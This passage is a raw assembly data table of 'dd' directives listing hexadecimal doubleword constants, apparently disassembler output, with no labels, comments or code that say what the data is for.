		dd 0C4F35518h, 63073E96h, 1AAFACD7h, 2526B330h,	0FC7FF7h
		dd 0F53E7CCDh, 5A72F239h, 0DA36BD1Eh, 0E531A4C7h, 0BBE64470h
		dd 93680012h, 3A8A7169h, 0B9009E6Ch, 6BC84D01h,	1EDCE4C0h
		dd 0D5C383h, 68E11FBh, 0B00150B5h, 550FB8AEh, 9DFC755Ch
		dd 90B2003Fh, 10D458D9h, 250054F3h, 33F8A547h, 0F2124Ch
		dd 0C17B0E4Fh, 0A42428DCh, 3C2720Eh, 87E5C0A8h,	808E90h
		dd 2BDFFBD5h, 0A5FD2951h, 0C9E31B00h, 0EC987919h, 632200D9h
		dd 4E74212Ah, 4D01FFBFh, 70308691h, 2480F0B5h, 7DF26EEAh
		dd 0CB005C01h, 0F50310E1h, 14627BAh, 618DA0EDh,	4038F1BDh
		dd 0B3BE0AB4h, 0E968AB00h, 1E4D7A2Ch, 75040037h, 0DDCEB07h
		dd 4200E55Ch, 0ED9BCE7Fh, 0FB00E2Ah, 79F3829Fh,	9E5800BCh
		dd 25A03798h, 1D074E00h, 41C3789Ch, 579A03F1h, 59197703h
		dd 2B7470E7h, 8D000F39h, 0E54E2E80h, 75064h, 0FAC077D9h
		dd 0DA55EADDh, 0B92F0607h, 285001EDh, 0EE6FC1Eh, 0D877AD2Eh
		dd 0A0DF5540h, 0C200E099h, 0DA394A62h, 504DAFh,	0B881213Fh
		dd 7DA7AC1Fh, 33473Bh, 789CA3Dh, 6AE70Dh, 0FE033102h, 4C594AF7h
		dd 0D8AD7E00h, 502FC97Bh, 4F610052h, 38E1D91Ah,	0FBF44933h
		dd 300CA400h, 3B68E572h, 272501D7h, 4FC9BC3Ch, 9706D4CBh
		dd 0FB2D0F00h, 57C30AC2h, 151D00B1h, 0B887A6CAh, 620020A5h
		dd 85FFD106h, 0E3916Ah,	4FAC2412h, 0F5E522A6h, 5D099D12h
		dd 7ADF9A00h, 7B7BF85Eh, 0AC2D06CBh, 28A3D90Fh,	0BF305900h
		dd 1BA44EA0h, 5470DDh, 2F45CF76h, 0D9E06C35h, 41E42400h
		dd 9DCACC8Ch, 62F50704h, 30310636h, 0B9EF8205h,	0CE283000h
		dd 0C7CBF171h, 0E32C00D6h, 24C2FC76h, 8873686Ah, 0EA00D47Ah
		dd 0A87174FEh, 1871973h, 6D98CB40h, 0F8069E6Eh,	8000EED0h
		dd 8B9B3052h, 0E8B05BE4h, 39FB7257h, 0E700CC49h, 32765621h
		dd 5A038E70h, 0A43F8292h, 6ACEE06Ch, 5FD500C5h,	716FF6B2h
		dd 0D4007555h, 4846F5C0h, 2BADE8h, 4D9113FCh, 1A1FB569h
		dd 658F9A00h, 7775BC09h, 98F1F047h, 0F8850030h,	0C0731684h
		dd 0C9383031h, 382203A6h, 0C88A99B6h, 30F72D3h,	0E2328D58h
		dd 0D000B5A2h
		dd 0FC050DC6h, 32BFDF0h, 25FE381Bh, 629A7AD0h, 209B9461h
		dd 7B00FB3Ch, 9D04DC49h, 70C010h, 8C92177Ch, 7639469Ch
		dd 7B0D0202h, 0C0CA81D4h, 9036F3CBh, 0D75D58CBh, 0BA5AF700h
		dd 1E4B2E5h, 85815900h,	0DF6D6B6Eh, 0A03D7523h,	180948F8h
		dd 28934486h, 81F9AC6h,	2F40A189h, 0F455C399h, 7BEC3054h
		dd 0DE3D360h, 3C726B00h, 4A389979h, 0D75B000Fh,	0C33836Dh
		dd 34007741h, 4C93D59Ch, 664D1Ch, 0E605891Ah, 0AD2D9715h
		dd 0B1A0417Dh, 9439FC7Eh, 0F9670021h, 54CB582Ch, 50B03896h
		dd 0B0DDD59Fh, 43D3E0E2h, 0CEE72E01h, 0BAB43944h, 584BC420h
		dd 70617E27h, 0D411FD83h, 0C902470Eh, 0F240070Dh, 71E440B7h
		dd 8A800D2h, 12C319B2h,	0E607A647h, 384A7B76h, 13D1A10Eh
		dd 3181A81Fh, 0DAC7F540h, 1000E788h, 0AB6C4B08h, 0A7923E2h
		dd 0A5EC90E9h, 52C303B5h, 6188830Bh, 0B4385C44h, 1D58BBD4h
		dd 0D61F3A86h, 0A688F680h, 0B56BA7h, 0AA7A4CB7h, 6656E3B6h
		dd 2EAB3B03h, 0B8B3129Eh, 0A23D96h, 0FCE570B7h,	89987AD1h
		dd 34A3DC1Dh, 0AC158DCEh, 3AFD799Bh, 0B73C9529h, 0D505BD01h
		dd 0F4C464DAh, 314015Dh, 4101634h, 0B39B3B13h, 0C784D841h
		dd 0E5F8D1E7h, 0CE518798h, 9B7094B8h, 7926C04h,	7D2903B3h
		dd 18494F5Eh, 1F03100Fh, 16B8C1D3h, 65003049h, 0AC1334C9h
		dd 36196E3h, 0D2BBE19h,	0DBB38010h, 898BE6D8h, 0CA0F1E1Eh
		dd 0EC28DA80h, 39636C6Ah, 0C703D9B4h, 67B56434h, 2E0C88C6h
		dd 0B9948C19h, 0FBFD001Dh, 0AB1B51E2h, 2E5CB474h, 9C951E3Ch
		dd 8D250302h, 0DEF86B8h, 58E20841h, 0B3079964h,	0B851C7BCh
		dd 4F60CF77h, 0DF631D85h, 0DDC400E1h, 71D23F81h, 8FAA7900h
		dd 293528B9h, 945A1EFEh, 0C3D08FA6h, 4E03ED74h,	3CCF751Bh
		dd 0B2A798A0h, 0BC0B1800h, 9412B71Fh, 0C68C000Ch, 0FE832603h
		dd 81001360h, 4FA8108Ah, 0F6A698h, 23FCE02Bh, 0FB5CB7B8h
		dd 300076F0h, 0F184651Eh, 4794E6h, 0E4754A52h, 85E7579Eh
		dd 253C68E4h, 0DC1900AEh, 886F554Ch, 75C000C4h,	94FE790Bh
		dd 0F61F341Dh, 0A347A7F9h, 491043F8h, 5C4A13h, 97B63154h
		dd 1E3D4B64h, 0ABE0BB00h, 0B7166FE3h, 0CB0E00C4h, 8DDA70A9h
		dd 0F01F383Fh, 474069EFh, 1219B978h, 9A3A0AE6h,	0ACC893E4h
		dd 517C02F8h, 0B8A061E0h, 0D3D24758h, 1955C617h, 20496909h
		dd 42E1E28h, 0F2927618h, 0CA6E4C17h, 4BB9A500h,	3E8A5EF5h
		dd 0B84C6B00h, 6C904A53h, 0B738C006h, 9345B5Ah,	0EEA30500h
		dd 26BBFFF2h, 616900E4h, 0F89DEB1Bh, 0DF051987h, 2D71377Eh
		dd 0E226F840h, 3EC8FE4h, 1E177B1Dh, 0C1A08BC5h,	5D00E0FFh
		dd 50C3BB0Bh, 0B0192Ah,	1636A3CBh, 0C064FB9Ah, 18E0E0C6h
		dd 76410ED9h, 43FE5E73h, 61DD22EAh, 2AFC5FB8h, 9EF0AB02h
		dd 44E12132h, 7BB5F05Ch, 0DF09002Fh, 0D5ECA2AFh, 0D60ACE51h
		dd 0A08FB96Ah, 0B1233880h, 0F2B64813h, 0C0459034h, 4E0B9818h
		dd 570F2825h, 608E7D93h, 9A2119EAh, 71AB0065h, 0D87BB59Ch
		dd 0DD7A3717h, 13078E7Fh, 48042306h, 0C067B162h, 546CD54Fh
		dd 388858h, 0F1CB5563h,	2A23F7C4h, 153A3000h, 343ECF70h
		dd 87DC00C2h, 4B376D77h, 4900B6ECh, 43EEEDCAh, 18839A41h
		dd 78A089F1h, 621FD49Fh, 8B02A930h, 44D39EE7h, 0A1A880B4h
		dd 36600ADh, 9F0A8E36h,	2800E220h, 90779281h, 78BC0CDh
		dd 0CE3EFB70h, 0D051C10Ch, 6FCCD81Fh, 80FC55E9h, 34B1D43Eh
		dd 10320700h, 0E6F709DCh, 0E3C1006Ch, 0B05CF24Ah, 4893B39Ah
		dd 8D9B0E82h, 9A850F4Ch, 181000ADh, 0D4B280AAh,	32346F01h
		dd 0C7897D8Ch, 0A07630h, 0EDFF0F69h, 1A7AC470h,	2D01507Ch
		dd 8E7EEC4Dh, 0BAD02B76h, 877130A7h, 0FEA60E51h, 4EF47073h
		dd 0DD5ACC07h, 3E4028EDh, 0B029E2h, 4DF34F7h, 15F1DC72h
		dd 88265B05h, 0A81EFA7Ch, 56D19E85h, 307B9C40h,	0C0526CA8h
		dd 408A9D11h, 0FD0F2CDAh, 8028D49Bh, 0B2D015A6h, 0E14F673Bh
		dd 16BA216Eh, 41EED505h, 9296ADC8h, 2820E0A1h, 18A856h
		dd 27F5C75Fh, 0A52A95BEh, 0CA2B5804h, 5C881C62h, 560F06E2h
		dd 909983A9h, 47281106h, 3021E79Bh, 5B185CC3h, 0A9C0336Fh
		dd 0E418029Fh, 0A382267Dh, 0FD443E10h, 0DE0E0C99h, 66A0A0C9h
		dd 102D56EFh, 60AFA72Eh, 0AEBC3028h, 0B8500047h, 93A39F1Ch
		dd 21C3F1D3h, 69137Bh, 86638949h, 84CA4A5Fh, 2600E472h
		dd 464097B8h, 0CA6312Ah, 1CE05077h, 90178831h, 0FB6261h
		dd 3921794Bh, 0A418B224h, 7061546Ch, 0CB12006Fh, 58EA4120h
		dd 2826714Dh, 0A3078BB3h, 3330F8D9h, 0C54855h, 15B0D380h
		dd 0FFEF3CB6h, 25E22400h, 16D157BDh, 80E72E68h,	0AA6F9E94h
		dd 0F2A10384h, 1A305BA3h, 3835E4A8h, 0CA6F9B18h, 27C1E81h
		dd 51F3EB56h, 0C884FFDDh, 6C0F4560h, 801D140Bh,	55DF1BCh
		dd 238B938h, 71F4E9E8h,	0EEC0DE40h, 83DFBB3Ah, 0EFA34F8Eh
		dd 0C1491766h, 0C7CB1C31h, 708C5459h, 0A616355Ch, 0F96BB705h
		dd 0C8309B1Ah, 7599C72h, 0E661CE2Ah, 8441805Fh,	0B006E19h
		dd 9A7367D7h, 0B0CD39B9h, 4F301ECh, 9B97601Ah, 0D74C4043h
		dd 51C092B8h, 24E9FA40h, 0A3441301h, 7F500151h,	916B4AF4h
		dd 78009C78h, 63529341h, 0A9026AC1h, 5198BEA0h,	239C401Eh
		dd 48EE3068h, 9AB8FE61h, 0D7CF88h, 84EA1981h, 26FA4A8h
		dd 0F67A1BEEh, 8FB8C111h, 0F9CE800h, 0EEC4F54h,	438BD700h
		dd 0DE163C58h, 95B03CF9h, 617190h, 439DE5B7h, 57D25Bh
		dd 6B246704h, 0BD817F4Dh, 0D9F03D13h, 9153E10Dh, 97E4F0h
		dd 0A7A9CAE3h, 6C46165Fh, 34712224h, 3C3F6640h,	65E300AAh
		dd 3A5C218Fh, 0B9007222h, 32FF52AEh, 5009C836h,	0F866C050h
		dd 44B265h, 24E39115h, 0DF4C57E0h, 55487600h, 96E59489h
		dd 0B5440025h, 0FFC370C2h, 6F078B4Ah, 1974FC60h, 9852380h
		dd 0D7A3015Fh, 7DD3898Dh, 6C62E1h, 0BA34F235h, 39F1519h
		dd 0AFD50376h, 12EA61A4h, 3E86D9E0h, 311AE130h,	3AFEF39h
		dd 82FAE4F6h, 71AF2373h, 5099E69Ah, 1BC82684h, 5E6FDE12h
		dd 85B28043h, 0E292B8BCh, 4FEA1D07h, 845A409Eh,	0D2E8467Bh
		dd 72489A1Dh, 58201BD2h, 1FF57732h, 8FDEA4C5h, 23279078h
		dd 3010C976h, 2FE4C82Bh, 9A8F3Fh, 2A36E696h, 417ED7h, 0F7542CBh
		dd 63D19329h, 0FFC089DFh, 21A0BA7Ch, 49A7602Dh,	0F1C8D114h
		dd 0DFAE5A00h, 55F66205h, 275C00C4h, 47C15652h,	99C072E0h
		dd 0F7EDAA70h, 0EFF9003Ch, 7EF8AE9Ah, 9D007D28h, 0B629D893h
		dd 0B00B6ADDh, 1DEE1D24h, 33C7008Fh, 3487A0C5h,	6DC9D306h
		dd 815132h, 0D8CC1CECh,	5A57AB19h, 0E149540Ch, 3F88711Dh
		dd 7E03F1B5h, 733E06C3h, 0D48FC1B9h, 0FC05FA78h, 0B28B5504h
		dd 0E1689005h, 53A65400h, 5EA395h, 0C1DA8B5Dh, 7D59EEF4h
		dd 0E8F67B0Fh, 7EA0085h, 1249D8A7h, 307C409Bh, 0ADE6B38h
		dd 9D1D9672h, 82C3BEAEh, 0B0C598B1h, 0D367CBB8h, 717E1B71h
		dd 0A75870D7h, 7500615Eh, 95F854D0h, 3B0E8081h,	884C458Ch
		dd 106459C7h, 0D68B477Ah, 0AD042672h, 86DE9AFEh, 2A5FF000h
		dd 310651C6h, 97B97BF8h, 1E360019h, 0C15BC9AAh,	6A00C8B4h
		dd 0C2475239h, 99B7C505h, 0BE580E08h, 6425801Fh, 0A6C645F9h
		dd 0A268BC00h, 9F19D32Eh, 17327493h, 119C73h, 0E476B668h
		dd 9B1842DCh, 0A84980B9h, 0FD7100CEh, 48F5E393h, 0C0007AFFh
		dd 0B58D4BE2h
		dd 5422A1h, 4F500EF6h, 6BFF6720h, 0D760DEFEh, 0C9E1135Eh
		dd 0F0597B8Dh, 80F8AA4Eh, 11C8EE59h, 0CBB0014Fh, 0FD12CACDh
		dd 0D466FDB3h, 8F2583Ch, 1BEDD602h, 51F326AFh, 519B0144h
		dd 41D28BAAh, 338A39AAh, 0CDE60958h, 0D92B804Dh, 0B6E053h
		dd 0D00F847Dh, 382E7A3Dh, 442D5128h, 9FD76F1Fh,	408B49CFh
		dd 0C7BB634Ch, 0CFDD00D4h, 31E70CE3h, 182E9ED3h, 0BE60EC65h
		dd 402352Fh, 8ADEA1ADh,	0C7F8CC3Ah, 0F81CFF00h,	44403C1Ah
		dd 48610BB2h, 498F28Dh,	877CBEE3h, 17025FE0h, 51C1357Dh
		dd 0E974C20Fh, 0B9D4EDDCh, 0DA240008h, 0BBF9E35Ch, 8D1FA03Ch
		dd 0EEC51E3Fh, 44C23079h, 294C6414h, 154CD90h, 4F11EA0h
		dd 0ECC42138h, 0E0F541ACh, 8B1FF07h, 848C6280h,	4866A6DFh
		dd 0B002047Ah, 0A21C3A26h, 109D60C1h, 208448h, 0B5B07BBh
		dd 0D74F305Ah, 0D879600Bh, 63D80438h, 50CF4842h, 705FA840h
		dd 3920EB0Eh, 21640C62h, 17192689h, 808829C3h, 11365362h
		dd 0AF3B65AEh, 320C8674h, 212C71h, 1E0B8FD8h, 6B7FD560h
		dd 0EAD0CE0Bh, 898501C5h, 0A8F47861h, 9BB732C2h, 0E562BFB1h
		dd 0B4B93183h, 0A4D2680h, 0DDC77100h, 319DA8ABh, 0E4A14839h
		dd 0B4F05C7Eh, 82471588h, 0B3D86290h, 0CD87381Fh, 0EC708600h
		dd 9CD41D49h, 0F17E009Ah, 0D781761Dh, 0CE65D300h, 251C9243h
		dd 0C02B3A95h, 813CEE7Ch, 83364263h, 0F862B892h, 0F22339h
		dd 0E5C73DABh, 815D0AADh, 9A725300h, 3B80BD09h,	14B88842h
		dd 2043EC00h, 629AC7ACh, 0A1190049h, 872D6983h,	0F6248BA7h
		dd 6C01F039h, 5A8661B9h, 0CBF420h, 70A64897h, 0DEED51D2h
		dd 0D489A803h, 53AE6AFh, 71B5DF10h, 9E844360h, 0D5E8AD8Bh
		dd 2200D04Bh, 0B4BB7273h, 3E74A8Eh, 0AF1850F8h,	38A0466Fh
		dd 53CAB6Ch, 0DC404A7Bh, 2BF906E8h, 2F3A1EE1h, 0EFB940A0h
		dd 9342EA78h, 15FC1B52h, 8491B8h, 650440FBh, 90FC2B4Ch
		dd 1FA10088h, 8481EBBFh, 0CC9A68B8h, 0C9CEAB00h, 7221E124h
		dd 12BF2A0h, 0F704DB0Ah, 29EFF8E3h, 0CB3B07E4h,	5E4082C4h
		dd 0A0CAA471h, 132C52FDh, 0D014628Eh, 0FF6A8990h, 242FD126h
		dd 8B572C60h, 0BCB10092h, 865C60A4h, 0EAF648F4h, 889EA900h
		dd 3C5A5FCEh, 7E9A0067h, 0A8A63219h, 4D007334h,	4171BAE8h
		dd 0C9B384Ch, 63B85E48h, 1F003BC1h, 0BF947F05h,	0C9DC92h
		dd 0FD2F627h, 0C377022Eh, 54D53Dh, 2A2FC682h, 0FEC84050h
		dd 6CBC25CBh, 0B0038ABh, 1BFD79AFh, 1AD64E02h, 0E471289Fh
		dd 3FAC0038h, 0C8D52721h, 56005965h, 26D42B82h,	1D1CB96Dh
		dd 380E6FCh, 0E33991BDh, 559CB81Fh, 10FC20A7h, 6DE9DDh
		dd 0DE0F2CD7h, 618CEB4Eh, 4F002BE2h, 0FC091FD8h, 61E93h
		dd 83F72334h, 4C71EA1Ah, 19758500h, 0EE29365Bh,	0E71D04DBh
		dd 905638C4h, 1FB8B064h, 4B63DA00h, 0F2BD64EBh,	4D323072h
		dd 0A5FFE021h, 0BEE55500h, 0FE4BB315h, 0E41B2EB4h, 94E21694h
		dd 0C66C80D0h, 2A175B65h, 0FA10100Fh, 3FF480E0h, 389249DFh
		dd 0AD00BDC1h, 0ACFCD0F0h, 0B94A473Bh, 0C539CC40h, 26080B5Dh
		dd 0C054D51Eh, 122E8C40h, 25EDCD00h, 8E271860h,	0D70B0078h
		dd 0D3B9790Fh, 0BA007616h, 55DE70E4h, 13979CC3h, 207B712Ah
		dd 6EFED76Ch, 23AB4F01h, 6F317CF0h, 7DB2B8FFh, 0D8A46Ch
		dd 5C28FC3Eh, 0A07303D5h, 0E2BDAB00h, 637E420Fh, 402496F2h
		dd 0EA3E357h, 6FF54716h, 0ADB51090h, 606800DCh,	4531AF67h
		dd 0A9E00C1Fh, 1EECDE00h, 0FC0BB948h, 5B300862h, 0B89D656Ch
		dd 0E5CEA00Fh, 0A800191Bh, 29CB73CFh, 16B5F069h, 94EE6863h
		dd 0F350CC60h, 22EC4707h, 0A4B0B92Fh, 12B00C0Dh, 92E0F87Ah
		dd 0DF805B60h, 0CBBB7052h, 0FC427202h, 79996827h, 944A084Ch
		dd 749C7281h, 0EB30FC71h, 380C1868h, 3F7F29A4h,	507F098h
		dd 19E13D24h, 40772CE2h, 71BF1405h, 9B30587Bh, 9EDADE04h
		dd 1E8CC19h, 7781F491h,	0A5572804h, 0B3007073h,	0ED0D2E9Bh
		dd 0E100D823h, 43C8DBCAh, 0FA6A9087h, 659C0379h, 0D4C1D370h
		dd 0E246E0A7h, 0FCB197BAh, 0E5EBDD81h, 0ECC8B117h, 0CA7D00D7h
		dd 45CB9B22h, 0E000AE19h, 34C45CD9h, 2CE2D2C3h,	0AC909708h
		dd 0C07065ECh, 0B44F6C11h, 0AD0EAB00h, 0A2CE289h, 691C39ECh
		dd 66D1B21Ch, 0D70C05E4h, 9C64CCDFh, 74A48100h,	0DA6AED43h
		dd 0C0136048h, 85CD5E15h, 325A990Eh, 80DF4B9Eh,	0A3967036h
		dd 70E758C6h, 85D5A81Eh, 8C952730h, 0C600EB4Ch,	5CD7D0ADh
		dd 73112F9Dh, 0F3E0F0Eh, 9803419h, 0E051D601h, 37019891h
		dd 5CA34D96h, 608AC442h, 62E86238h, 3A98509Eh, 4E00F852h
		dd 42114592h, 4F55B23h,	0AB1E03B3h, 0B6FCC2D4h,	320570E0h
		dd 80006C5Ch, 9485C91Bh, 9C78006Dh, 8A8E719Ah, 0CE032AA4h
		dd 947356Ah, 0F57FB6Fh,	0C2C15631h, 444EFCE0h, 0C03C94Dh
		dd 0E17F276Ch, 6AB10379h, 882545B8h, 0D91FC8C0h, 0CF004EF0h
		dd 0EBE32127h, 76B2E239h, 48D50032h, 7B361218h,	41CA6B19h
		dd 0D840C03Bh, 0E16BF05h, 9062BB6Ch, 84CA5C80h,	0AB01EA3Fh
		dd 7919E247h, 0BC73D502h, 2CD85A00h, 606C4D18h,	0A1DE3Fh
		dd 0BC25B919h, 0EE0A27C2h, 3D8C0B75h, 0A880A2C9h, 127BAA48h
		dd 3A8D8C96h, 0A101819Ah, 0E5ECC14Ah, 0B9250089h, 0DD28F76Fh
		dd 8058FF79h, 4B68C16Ch, 0B4DC821Dh, 0BE7B0064h, 0F55742D9h
		dd 0F4986750h, 0A041FD4Bh, 19A21BAAh, 5ADB98C3h, 852E002Ah
		dd 64D5F80Dh, 0E0008C17h, 679A71E9h, 0B87C8AEh,	1C74661h
		dd 74925890h, 707AF700h, 8859E22Ah, 0A30E02D2h,	0B40F1626h
		dd 76F73860h, 162D60Ch,	9C90791Bh, 1FCE6158h, 1019D0B8h
		dd 0FF37A700h, 5CB372A6h, 682938E3h, 0C33992B3h, 48F151B8h
		dd 4CC13301h, 0DD8B9B64h, 18D744CCh, 480E9FA3h,	4A581A09h
		dd 71650078h, 9AEBD5C4h, 54E20795h, 0D02C3FB5h,	259ECEDEh
		dd 3141E8B6h, 0FAF044E1h, 596C3037h, 275C6D19h,	0D4C9EC02h
		dd 630E52D5h, 6E41D764h, 9985503Bh, 0C074972Ah,	898F58BFh
		dd 0F1521D0Eh, 93B8C999h, 8079FB44h, 135023E4h,	8869FFCDh
		dd 0ED7B2490h, 15C3F39h, 9C017183h, 67131AFEh, 43C2BAE8h
		dd 0E70CF403h, 0ADF4D28h, 0E05F4A88h, 0F3520014h, 0FF0BB1FBh
		dd 604D4B00h, 216B8E6Eh, 246C98A1h, 40146FB6h, 74F5FB6Ah
		dd 12176000h, 3147B42Ch, 4F4F28Ah, 0E0A7C610h, 0F1FE401Dh
		dd 0F6C20EB3h, 77780005h, 20DA9A6Fh, 59EE60B9h,	6407BFFAh
		dd 0C083A728h, 0C55011E0h, 515D327Dh, 3CE60DA8h, 0B28DA124h
		dd 0FC3A803Ah, 0DF79947Ch, 0A1C002Bh, 5552C4FBh, 0CD0A8B30h
		dd 0A8EFAF4Dh, 478E1902h, 0EA8C6F3h, 0F66B5349h, 97E0110Eh
		dd 6AB82273h, 90B40707h, 40A0C832h, 4CD87B5Eh, 8B005813h
		dd 71A1A0E3h, 0AA00B04Dh, 3663BA67h, 98941062h,	9AA7124Ch
		dd 725892E4h, 0C71C5FC0h, 7FD38707h, 0E050B016h, 0B348203h
		dd 26909E25h, 1E7B3CE8h, 398F9096h, 0ACD032FCh,	0AF7DBA5h
		dd 0AC205DFEh, 0CD424E6h, 0A0606E1Eh, 0B2166273h, 64300F7Bh
		dd 2E72071Ch, 17C5F1Eh,	8B839AA0h, 0C4693Bh, 89726C3Dh
		dd 0E174Bh, 6B88FE43h, 0DF27ED1Eh, 0B7CA4A17h, 0C2479090h
		dd 0C5A35C5Eh, 0AEED3600h, 7F6D204Eh, 50AA6800h, 0FB9A7503h
		dd 81D4B193h, 7180E5Fh,	1380802Ah, 87D68B9Ah, 0FF9E3A6Ah
		dd 62EF1900h, 43AA34EAh, 2D9DAD00h, 0DE114968h,	28015CD1h
		dd 1032E580h, 0E40017EDh
		dd 43B2B09Fh, 0E0B30FB1h, 0C07A18AFh, 0AB647094h, 30E25C80h
		dd 0D7F0C9D3h, 52716189h, 8DEE4DFEh, 28C28204h,	2CC0ACEDh
		dd 0C05C57DBh, 1234AFA0h, 8F507484h, 6A05A69Bh,	0D9F3B660h
		dd 83807C87h, 4E8A370h,	9086613Fh, 0CBFC8C22h, 7B55411Ch
		dd 1648212Fh, 208AD6h, 79BF247Dh, 73400728h, 1845D04Dh
		dd 78C00CA8h, 1E4134A2h, 302B1D24h, 10906D9Bh, 44B1FE69h
		dd 0C067AE0Eh, 0A20050Ch, 930B2CBEh, 6FFF0110h,	9287F5E2h
		dd 0E423FDF4h, 5AB2E04Ch, 46890F8Ch, 3E444715h,	647CB4E0h
		dd 83F42605h, 5882785Eh, 0B5001468h, 674F35D2h,	2541270h
		dd 43558476h, 61C0CC6Ch, 41D92FAh, 1E9EC331h, 7E84136h
		dd 89825723h, 0D680910Eh, 940C6C0Fh, 80A13F3Ah,	0F54684C9h
		dd 39720AAh, 4C1BBDF6h,	1FE144CEh, 19387404h, 7253020Bh
		dd 0C4476h, 2FB3A4CFh, 435EED73h, 0D0AE4D01h, 6AC90FCAh
		dd 24FDCE4h, 8C6DE033h,	0A442FD74h, 70001C44h, 86046902h
		dd 0E1163Ch, 0A0345D0Bh, 0E94C3F4Dh, 0EB240778h, 550B28ECh
		dd 95C9B42h, 5E31A21Eh,	7DE68098h, 236EA400h, 21A1CB7Fh
		dd 0E1EF6AAh, 0E2D13B4Fh, 0D7613001h, 698060D2h, 501364FAh
		dd 0DF00BD63h, 68CA48FAh, 0B189265Eh, 0F9AA0050h, 0FE70C2BBh
		dd 5103CCB0h, 277E4931h, 0CF17A007h, 449C3971h,	1658C783h
		dd 809C4F63h, 6940EB64h, 0B1165498h, 50D0B8D7h,	3FBF13D1h
		dd 0D680301Bh, 75F54EBCh, 0A2074DDFh, 9E29CDC6h, 7B9CE83Bh
		dd 4C6C9E1Dh, 2C1FD488h, 9BC2AF85h, 591562FDh, 0F8B3A7Ch
		dd 588FDF8Eh, 46C000F1h, 0D3E40BA1h, 61CB0036h,	302AA521h
		dd 0F4B83E70h, 120A3080h, 0AE1BC213h, 87F6AC00h, 16EBD76h
		dd 9C8B739Dh, 305251E5h, 0C8B2AA08h, 0FDB1D912h, 9F58A4h
		dd 57EA958Fh, 129AAEF9h, 0FD2731Eh, 0FD4090A5h,	0EFAA0F9Dh
		dd 0F463351Ch, 3BB0F190h, 1B44E0FBh, 248900DDh,	0C191B921h
		dd 480D2C5Ah, 2162077Bh, 148AD3FCh, 0E50DA918h,	474B3812h
		dd 0D0B03944h, 5615AF30h, 0F158A600h, 0B22DF511h, 0A7A2004Ch
		dd 0E778C49Fh, 9C006E67h, 75C17159h, 0A084B482h, 393ED1F8h
		dd 1E00FEF3h, 0DE70E22Eh, 0B94F68E9h, 7190440h,	0F64A293Bh
		dd 371400FAh, 46A87109h, 0F43D958Bh, 504CFEC3h,	0A20D0234h
		dd 8E70E378h, 2458BA6h,	80129C54h, 2F4613A0h, 30994C68h
		dd 5878E489h, 0D24C7678h, 49EC7F20h, 0C070590Bh, 0B89418FAh
		dd 427A30h, 5C3D384Ah, 7787EC1Ah, 0CA015B38h, 0AEF13040h
		dd 48B7C2h, 0CB1D3D40h,	9C55DF7Dh, 4B00EDEEh, 0D9DB32EAh
		dd 253062C1h, 0C4276C17h, 41DD6175h, 4676C0C0h,	0B68AA712h
		dd 71EEC88h, 0BF601106h, 0D96A50F3h, 831F1DE4h,	31804927h
		dd 684C71F6h, 17183E0Fh, 73016209h, 104D6891h, 303376Bh
		dd 97D04080h, 1925B710h, 28B810D6h, 9BAB0039h, 8BBE89C4h
		dd 0BA17E0DDh, 0E091E107h, 6BFC2F25h, 0EEAD0086h, 0E9028035h
		dd 85055182h, 0E276CB69h, 0E4814C0h, 9C220750h,	0B99B47B9h
		dd 6A1F90C5h, 2A090078h, 372485Dh, 1A8F00ECh, 1CB97911h
		dd 3A4B52AEh, 0A8246093h, 0FC9B62D5h, 0A7260835h, 0E0A59A4Ah
		dd 7E2F3B3Ch, 0B4DF0679h, 18A7F286h, 9727D378h,	0EE88988Dh
		dd 58D15CABh, 0F46C1112h, 5B1DDE24h, 0FA007F62h, 0DD73F0F1h
		dd 6AFB00CCh, 0D019B229h, 5C77E65Eh, 2AF9BE07h,	0A42AE15Fh
		dd 3C343280h, 0EAFE47h,	881CB2D0h, 0CC96D55Ah, 29E07100h
		dd 0E293DCA9h, 0F5DD097Dh, 0F080FF79h, 788DC416h, 0C36A9000h
		dd 0EEDB4B72h, 7287E75h, 0B5B31EB6h, 0A43BE408h, 0FF0FDD74h
		dd 0A1FB7264h, 7BBD6624h, 20C1430h, 37AB0F0Eh, 0D446C440h
		dd 0EE3C8505h, 15C08F48h, 0FA0B450Ch, 3F22009Ah, 17C2A195h
		dd 0CCA64B7Bh, 0EE7E38F4h, 5391E300h, 0AB76CDEAh, 9AFF1827h
		dd 0FDC3F1E6h, 2D80B499h, 5C53A560h, 7B750049h,	1C83713Fh
		dd 0EB000D6Eh, 192EFF4Eh, 3B762Bh, 489B1D24h, 0A9307B67h
		dd 0DDFCC8A0h, 1262F713h, 77433C21h, 1120422Eh,	887A01FBh
		dd 27D28900h, 0B64DEB8h, 48356114h, 2867C15Bh, 0B6F780F8h
		dd 26098Bh, 1E954760h, 118DC76h, 8EB7D712h, 20F31C40h
		dd 44E1C0h, 34EBCF2Bh, 7EF3711h, 704AA7F0h, 98974042h
		dd 4E14744Dh, 81B00F1h,	0FE7DAB1Fh, 54260B50h, 9C66F1F3h
		dd 4592E30Bh, 26E01879h, 762001Dh, 50E513D7h, 7B7B8319h
		dd 3967A07h, 7F07BB3Fh,	871C9h,	565BD61Ah, 8C007BD8h, 76F12752h
		dd 129804Fh, 1DF064CDh,	38496F66h, 687C80DCh, 1DA4A09h
		dd 0ADF1C613h, 0D441601Fh, 9A4CC4C3h, 0A12000C0h, 0DC5875D4h
		dd 0FE20187h, 0ACFB4172h, 6C22E0h, 60C46D9Eh, 0B045EE81h
		dd 386C00E7h, 62AC0A5Dh, 0FF2E11D8h, 13607050h,	0B92CE5Ch
		dd 0AD410A3Dh, 4A70D600h, 0B1000E33h, 0D3223F5Ah, 0E4654897h
		dd 993E00FFh, 6AB960F4h, 74919FAAh, 7407C482h, 0C780FF4Bh
		dd 0F60013Ah, 0B2FFA700h, 835EF1Ah, 0CC90128Ch,	2044962Fh
		dd 0DD80AC91h, 0FAD461B9h, 7AD90546h, 43CC6FB3h, 6970810h
		dd 7E44D588h, 72D7CD00h, 11C83477h, 0B7471DE0h,	0F8E85BAh
		dd 28FC88E1h, 2B01DB73h, 0E7DEC297h, 646D6C80h,	0C75B633Dh
		dd 0E08E375Ch, 0F13602ECh, 0F2522200h, 4A640575h, 88494FFCh
		dd 700EDB00h, 0A2782704h, 441F6834h, 0E42B16B0h, 0A20C94FDh
		dd 24368038h, 940BC5Ch,	0D19323C6h, 5380E013h, 273AE22Bh
		dd 13C8CC52h, 80203B8Ah, 0B08E83E5h, 0CB2A01B4h, 9B48E7F3h
		dd 210FCB9Ah, 259029EDh, 78CC7B5Fh, 2C6A1751h, 0B1080FA0h
		dd 39E15B80h, 7DF0AD1Ah, 0A0B8292Ch, 1980B824h,	0BD0CE223h
